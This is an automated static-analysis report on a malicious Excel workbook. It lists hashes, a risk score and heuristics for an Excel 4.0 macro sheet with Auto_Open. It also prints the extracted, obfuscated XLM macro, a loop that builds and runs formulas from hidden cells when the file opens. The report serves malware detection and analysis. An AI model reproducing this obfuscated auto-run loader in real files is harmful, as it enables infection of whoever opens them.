Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15ed82d1bcbade86…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:04 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 4aa3e422101f44663925128ab0063d5a SHA-1: de5490a784044a53e3e95c8c704fd071ef07a549 SHA-256: 15ed82d1bcbade86238f5c2ddf05f0e79d541355dd9518ec8f29ef0073a3ba97
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6718 bytes
SHA-256: 27ab0ea2318d43943b970e3e0d07790252f824f1567f587277b6ba77908b6e36
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YZqfVvnyhP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E139 
' 0018     20 LABEL : Cell Value, String Constant - AYkbQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - BTQEKbbXLXU len=0 
' 0018     23 LABEL : Cell Value, String Constant - cIHZqyjw len=0 
' 0018     25 LABEL : Cell Value, String Constant - FybzuTvitn len=0 
' 0018     23 LABEL : Cell Value, String Constant - haQvfzZo len=0 
' 0018     22 LABEL : Cell Value, String Constant - IBmHyYZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - KQjPzM len=0 
' 0018     25 LABEL : Cell Value, String Constant - LzKfHNrVQG len=0 
' 0018     26 LABEL : Cell Value, String Constant - nYfftBaOxEJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - QoOyYUi len=0 
' 0018     24 LABEL : Cell Value, String Constant - SdlqtmLKm len=0 
' 0018     26 LABEL : Cell Value, String Constant - suIUJRhmIgm len=0 
' 0018     25 LABEL : Cell Value, String Constant - TnTzbcuOja len=0 
' 0018     21 LABEL : Cell Value, String Constant - UBWubB len=0 
' 0018     23 LABEL : Cell Value, String Constant - WBzSYfKE len=0 
' 0018     20 LABEL : Cell Value, String Constant - wplwB len=0 
' 0018     22 LABEL : Cell Value, String Constant - WZxIiky len=0 
' 0018     22 LABEL : Cell Value, String Constant - XzpXUcE len=0 
' 0018     26 LABEL : Cell Value, String Constant - YlqIvYpQOlf len=0 
' 0018     24 LABEL : Cell Value, String Constant - YmClDsjDo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YZqfVvnyhP,E57,"SET.NAME("YmClDsjDo",VALUE("0"))",""
'  YZqfVvnyhP,E59,"SET.NAME("suIUJRhmIgm",YmClDsjDo)",""
'  YZqfVvnyhP,E63,"SET.NAME("LzKfHNrVQG",YmClDsjDo)",""
'  YZqfVvnyhP,E65,"SET.NAME("IBmHyYZ",COUNTA(AYkbQ))",""
'  YZqfVvnyhP,E68,"SET.NAME("haQvfzZo",COUNTA(TnTzbcuOja))",""
'  YZqfVvnyhP,E70,[],""
'  YZqfVvnyhP,E72,"SET.NAME("WBzSYfKE","")",""
'  YZqfVvnyhP,E76,"suIUJRhmIgm",""
'  YZqfVvnyhP,E78,"SET.NAME("wplwB",HLOOKUP("*",AYkbQ,suIUJRhmIgm,FALSE))",""
'  YZqfVvnyhP,E81,"SdlqtmLKm",""
'  YZqfVvnyhP,E83,"SET.NAME("YlqIvYpQOlf",YmClDsjDo)",""
'  YZqfVvnyhP,E88,[],""
'  YZqfVvnyhP,E93,"YlqIvYpQOlf",""
'  YZqfVvnyhP,E96,"nYfftBaOxEJ",""
'  YZqfVvnyhP,E98,"XzpXUcE",""
'  YZqfVvnyhP,E100,"UBWubB",""
'  YZqfVvnyhP,E105,"SET.NAME("WZxIiky",VALUE(HLOOKUP("*",TnTzbcuOja,UBWubB,FALSE)))",""
'  YZqfVvnyhP,E110,"KQjPzM",""
'  YZqfVvnyhP,E113,"WBzSYfKE",""
'  YZqfVvnyhP,E117,"LzKfHNrVQG",""
'  YZqfVvnyhP,E119,NEXT(),""
'  YZqfVvnyhP,E124,"BTQEKbbXLXU",""
'  YZqfVvnyhP,E129,"SET.NAME("f",INT(T(FORMULA(T(WBzSYfKE)&"",""&T(BTQEKbbXLXU)))))",""
'  YZqfVvnyhP,E131,"FybzuTvitn",""
'  YZqfVvnyhP,E134,NEXT(),""
'  YZqfVvnyhP,E136,RETURN(),""
'  YZqfVvnyhP,E162,"SET.NAME("QoOyYUi",E57)",""
'  YZqfVvnyhP,E165,"AYkbQ",""
'  YZqfVvnyhP,E170,"SET.NAME("TnTzbcuOja",R97C13)",""
'  YZqfVvnyhP,E173,"SET.NAME("FybzuTvitn",184)",""
'  YZqfVvnyhP,E178,"SET.NAME("cIHZqyjw",5)",""
'  YZqfVvnyhP,E183,QoOyYUi(),""
'  YZqfVvnyhP,E184,HALT(),""

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